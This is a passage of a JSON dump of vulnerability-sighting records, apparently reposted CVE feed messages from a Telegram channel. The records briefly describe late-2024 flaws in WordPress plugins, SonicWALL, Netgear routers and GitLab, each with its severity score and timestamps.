"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12803", "type": "seen", "source": "https://t.me/cvedetector/14819", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12803 - SonicOS Remote Code Execution Buffer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12803 \nPublished : Jan. 9, 2025, 8:15 a.m. | 40\u00a0minutes ago \nDescription : A post-authentication stack-based buffer overflow vulnerability in SonicOS management allows a remote attacker to crash a firewall and potentially leads to code execution. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T10:14:05.000000Z"}, {"uuid": "0abd1831-9aa9-4563-96dd-c71175ab0aa6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12605", "type": "seen", "source": "https://t.me/cvedetector/14837", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12605 - \"OpenAI Scribe CSRF\"\", \n  \"Content\": \"CVE ID : CVE-2024-12605 \nPublished : Jan. 9, 2025, 11:15 a.m. | 22\u00a0minutes ago \nDescription : The AI Scribe \u2013 SEO AI Writer, Content Generator, Humanizer, Blog Writer, SEO Optimizer, DALLE-3, AI WordPress Plugin ChatGPT (GPT-4o 128K) plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.3. This is due to missing or incorrect nonce validation on the \"al_scribe_engine_request_data\" and \"al_scribe_content_data\" actions. This makes it possible for unauthenticated attackers to update plugin settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T12:44:49.000000Z"}, {"uuid": "b14661f5-456f-4e1b-96a6-5f84e44b8c66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12542", "type": "seen", "source": "https://t.me/cvedetector/14836", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12542 - WordPress linkID Plugin Information Disclosure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12542 \nPublished : Jan. 9, 2025, 11:15 a.m. | 22\u00a0minutes ago \nDescription : The linkID plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check when including the 'phpinfo' function in all versions up to, and including, 0.1.2. This makes it possible for unauthenticated attackers to read configuration settings and predefined variables on the site's server. The plugin does not need to be activated for the vulnerability to be exploited. \nSeverity: 8.6 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T12:44:46.000000Z"}, {"uuid": "3dd6447a-f4be-4a5d-a8e5-280b06d5f738", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12515", "type": "seen", "source": "https://t.me/cvedetector/14835", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12515 - \"Salah/Iqamah Plugin Stored Cross-Site Scripting Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12515 \nPublished : Jan. 9, 2025, 11:15 a.m. | 22\u00a0minutes ago \nDescription : The Muslim Prayer Time-Salah/Iqamah plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Masjid ID parameter in all versions up to, and including, 1.8.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T12:44:45.000000Z"}, {"uuid": "db786b1c-e2c4-4a2d-8d93-1bf2b8953c6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12514", "type": "seen", "source": "https://t.me/cvedetector/14834", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12514 - 3DVieweronline WordPress Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12514 \nPublished : Jan. 9, 2025, 11:15 a.m. | 22\u00a0minutes ago \nDescription : The 3DVieweronline plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's '3Dvo-model' shortcode in all versions up to, and including, 2.2.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T12:44:44.000000Z"}, {"uuid": "55673c13-3e0a-4a1f-841d-8e7e7ee0a3c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12848", "type": "seen", "source": "https://t.me/cvedetector/14833", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12848 - WordPress SKT Page Builder Arbitrary File Upload (Remote Code Execution)\", \n  \"Content\": \"CVE ID : CVE-2024-12848 \nPublished : Jan. 9, 2025, 11:15 a.m. | 22\u00a0minutes ago \nDescription : The SKT Page Builder plugin for WordPress is vulnerable to arbitrary file uploads due to a missing capability check on the 'addLibraryByArchive' function in all versions up to, and including, 4.6. This makes it possible for authenticated attackers, with subscriber-level access and above, to upload arbitrary files that make remote code execution possible. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T12:44:44.000000Z"}, {"uuid": "2b8e162d-7ed2-4836-acc2-67d4946309d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12819", "type": "seen", "source": "https://t.me/cvedetector/14832", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12819 - Searchie WordPress Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12819 \nPublished : Jan. 9, 2025, 11:15 a.m. | 22\u00a0minutes ago \nDescription : The Searchie plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'sio_embed_media' shortcode in all versions up to, and including, 1.17.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T12:44:43.000000Z"}, {"uuid": "0a090fc6-c12d-43c4-b3c3-c93d0dc0568c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12621", "type": "seen", "source": "https://t.me/cvedetector/14831", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12621 - Yumpu E-Paper Publishing Plugin for WordPress Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12621 \nPublished : Jan. 9, 2025, 11:15 a.m. | 22\u00a0minutes ago \nDescription : The Yumpu E-Paper publishing plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'YUMPU' shortcode in all versions up to, and including, 3.0.8 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T12:44:39.000000Z"}, {"uuid": "456e4368-8c1a-4034-8da2-cdf2997c7e84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12618", "type": "seen", "source": "https://t.me/cvedetector/14830", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12618 - Newsletter2Go WordPress Plugin unauthorized DOI to reset styles Arbitrary Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-12618 \nPublished : Jan. 9, 2025, 11:15 a.m. | 22\u00a0minutes ago \nDescription : The Newsletter2Go plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'resetStyles' AJAX action in all versions up to, and including, 4.0.14. This makes it possible for authenticated attackers, with Subscriber-level access and above, to reset styles. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T12:44:38.000000Z"}, {"uuid": "3f9ec7c3-d21e-449f-a484-631e35deae74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12802", "type": "seen", "source": "https://t.me/cvedetector/14824", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12802 - SonicWALL SSL-VPN Active Directory MFA Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-12802 \nPublished : Jan. 9, 2025, 9:15 a.m. | 41\u00a0minutes ago \nDescription : SSL-VPN MFA Bypass in SonicWALL SSL-VPN can arise in specific cases due to the separate handling of UPN (User Principal Name) and SAM (Security Account Manager) account names when integrated with Microsoft Active Directory, allowing MFA to be configured independently for each login method and potentially enabling attackers to bypass MFA by exploiting the alternative account name. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T11:04:23.000000Z"}, {"uuid": "8dd824ef-ad39-408f-a17a-8aaa464dbd3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12715", "type": "seen", "source": "https://t.me/cvedetector/14789", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12715 - WordPress Asgard Security Scanner Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12715 \nPublished : Jan. 9, 2025, 6:15 a.m. | 19\u00a0minutes ago \nDescription : The Asgard Security Scanner WordPress plugin through 0.7 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T07:43:15.000000Z"}, {"uuid": "86054f48-b412-4d66-9c1d-10fece7aac25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12337", "type": "seen", "source": "https://t.me/cvedetector/14685", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12337 - Planzer Shipping via WooCommerce Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12337 \nPublished : Jan. 8, 2025, 11:15 a.m. | 42\u00a0minutes ago \nDescription : The Shipping via Planzer for WooCommerce plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018processed-ids\u2019 parameter in all versions up to, and including, 1.0.25 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-08T13:18:12.000000Z"}, {"uuid": "0edb6718-073a-41dd-906e-18acfa661f42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12731", "type": "seen", "source": "https://t.me/cvedetector/14782", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12731 - Aklamator INfeed WordPress Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12731 \nPublished : Jan. 9, 2025, 6:15 a.m. | 19\u00a0minutes ago \nDescription : The Aklamator INfeed WordPress plugin through 2.0.0 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T07:43:07.000000Z"}, {"uuid": "94135bd0-6b6f-488c-9eaf-69e5f4121573", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12854", "type": "seen", "source": "https://t.me/cvedetector/14680", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12854 - \"WordPress Garden Gnome Package Plugin Remote Code Execution File Upload Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12854 \nPublished : Jan. 8, 2025, 10:15 a.m. | 21\u00a0minutes ago \nDescription : The Garden Gnome Package plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the functionality that automatically extracts 'ggpkg' files that have been uploaded in all versions up to, and including, 2.3.0. This makes it possible for authenticated attackers, with Author-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-08T11:38:04.000000Z"}, {"uuid": "ad68fd5c-e12d-41a1-aedf-df8f6be3c1d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12855", "type": "seen", "source": "https://t.me/cvedetector/14679", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12855 - AdForest for WordPress AJAX Capability Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-12855 \nPublished : Jan. 8, 2025, 9:15 a.m. | 30\u00a0minutes ago \nDescription : The AdForest theme for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on several AJAX actions like 'sb_remove_ad' in all versions up to, and including, 5.1.7. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete posts, attachments and deactivate a license. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-08T10:47:56.000000Z"}, {"uuid": "49cdf4b4-1c96-4467-8818-73a4743817a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12328", "type": "seen", "source": "https://t.me/cvedetector/14678", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12328 - Elementor MAS WordPress Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12328 \nPublished : Jan. 8, 2025, 9:15 a.m. | 30\u00a0minutes ago \nDescription : The MAS Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG File uploads in all versions up to, and including, 1.1.7 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses the SVG file. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-08T10:47:55.000000Z"}, {"uuid": "687de3ac-2a16-4b96-88f2-10428eb282fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12988", "type": "seen", "source": "https://t.me/cvedetector/13789", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12988 - Netgear R6900P and R7000P HTTP Header Handler Buffer Overflow\", \n  \"Content\": \"CVE ID : CVE-2024-12988 \nPublished : Dec. 27, 2024, 5:15 p.m. | 44\u00a0minutes ago \nDescription : A vulnerability has been found in Netgear R6900P and R7000P 1.3.3.154 and classified as critical. Affected by this vulnerability is the function sub_16C4C of the component HTTP Header Handler. The manipulation of the argument Host leads to buffer overflow. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-27T19:22:13.000000Z"}, {"uuid": "a6307545-ff3a-4c83-85b0-7bcaecf944c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12712", "type": "seen", "source": "https://t.me/cvedetector/14682", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12712 - BigCommerce Unauthenticated Order Status Modification Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12712 \nPublished : Jan. 8, 2025, 10:15 a.m. | 21\u00a0minutes ago \nDescription : The Shopping Cart & eCommerce Store plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the webhook function in all versions up to, and including, 5.7.8. This makes it possible for unauthenticated attackers to modify order statuses. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-08T11:38:05.000000Z"}, {"uuid": "73e525c1-0916-425e-a54a-1d5cd79c6562", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12431", "type": "seen", "source": "https://t.me/cvedetector/14742", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12431 - GitLab Unauthorized Issue Status Manipulation\", \n  \"Content\": \"CVE ID : CVE-2024-12431 \nPublished : Jan. 8, 2025, 9:15 p.m. | 36\u00a0minutes ago \nDescription : An issue was discovered in GitLab CE/EE affecting all versions starting from 15.5 before 17.5.5, 17.6 before 17.6.3, and 17.7 before 17.7.1, in which unauthorized users could manipulate the status of issues in public projects. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-08T23:21:27.000000Z"}, {"uuid": "ac1ee231-8301-402c-ba46-c95eab9d3e7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12853", "type": "seen", "source": "https://t.me/cvedetector/14681", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12853 - WordPress Modula Image Gallery Remote File Upload Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12853 \nPublished : Jan. 8, 2025, 10:15 a.m. | 21\u00a0minutes ago \nDescription : The Modula Image Gallery plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the zip upload functionality in all versions up to, and including, 2.11.10. This makes it possible for authenticated attackers, with Author-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-08T11:38:05.000000Z"}, {"uuid": "71d4a372-d1f4-480e-8ddc-1f2ff2d7a0c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12030", "type": "seen", "source": "https://t.me/cvedetector/14656", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12030 - WordPress MDTF SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12030 \nPublished : Jan. 8, 2025, 5:15 a.m. | 21\u00a0minutes ago \nDescription : The MDTF \u2013 Meta Data and Taxonomies Filter plugin for WordPress is vulnerable to SQL Injection via the 'key' attribute of the 'mdf_value' shortcode in all versions up to, and including, 1.3.3.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, with Contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-08T06:37:09.000000Z"}, {"uuid": "fa20be31-4210-4949-93a8-ed4b79bce85f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12045", "type": "seen", "source": "https://t.me/cvedetector/14669", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12045 - WordPress Gutenberg - Stored Cross-Site Scripting in Google Maps Block\", \n  \"Content\": \"CVE ID : CVE-2024-12045 \nPublished : Jan. 8, 2025, 8:15 a.m. | 40\u00a0minutes ago \nDescription : The Essential Blocks \u2013 Page Builder Gutenberg Blocks, Patterns & Templates plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the maker title value of the Google Maps block  in all versions up to, and including, 5.0.9 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled. \nSeverity: 4.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-08T09:57:42.000000Z"}, {"uuid": "d4b2b281-449e-42c8-b2f5-47fdca4c373d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12738", "type": "seen", "source": "https://t.me/cvedetector/14539", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12738 - WordPress User Profile Builder XSS\", \n  \"Content\": \"CVE ID : CVE-2024-12738 \nPublished : Jan. 7, 2025, 1:15 p.m. | 21\u00a0minutes ago \nDescription : The User Profile Builder \u2013 Beautiful User Registration Forms, User Profiles & User Role Editor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via several user meta parameters in all versions up to, and including, 3.12.9 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page and clicks a link to show user meta. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T14:42:43.000000Z"}, {"uuid": "107838ff-ac09-4e5c-b4cc-f12081aaa96c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12560", "type": "seen", "source": "https://t.me/cvedetector/13308", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12560 - Wordpress Button Block Sensitive Information Exposure\", \n  \"Content\": \"CVE ID : CVE-2024-12560 \nPublished : Dec. 19, 2024, 7:15 a.m. | 38\u00a0minutes ago \nDescription : The Button Block \u2013 Get fully customizable & multi-functional buttons plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.1.5 via the 'btn_block_duplicate_post' function. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract potentially sensitive data from draft, scheduled (future), private, and password protected posts. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T08:57:54.000000Z"}, {"uuid": "51e708e6-6937-4c4b-a390-10a19266e8bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12584", "type": "seen", "source": "https://t.me/cvedetector/14667", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12584 - Xpro Addons For Elementor Privileged Information Disclosure\", \n  \"Content\": \"CVE ID : CVE-2024-12584 \nPublished : Jan. 8, 2025, 7:15 a.m. | 40\u00a0minutes ago \nDescription : The 140+ Widgets | Xpro Addons For Elementor \u2013 FREE plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.4.6.2 via the 'duplicate' function. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract potentially sensitive data from draft, scheduled (future), private, and password protected posts. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-08T09:07:38.000000Z"}, {"uuid": "42f6d180-c949-4798-a952-f910c8b14881", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12852", "type": "seen", "source": "https://t.me/cvedetector/14664", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12852 - Elementor Stored Cross-Site Scripting in Happy Addons\", \n  \"Content\": \"CVE ID : CVE-2024-12852 \nPublished : Jan. 8, 2025, 7:15 a.m. | 40\u00a0minutes ago \nDescription : The Happy Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'ha_cmc_text' parameter of the Happy Mouse Cursor in all versions up 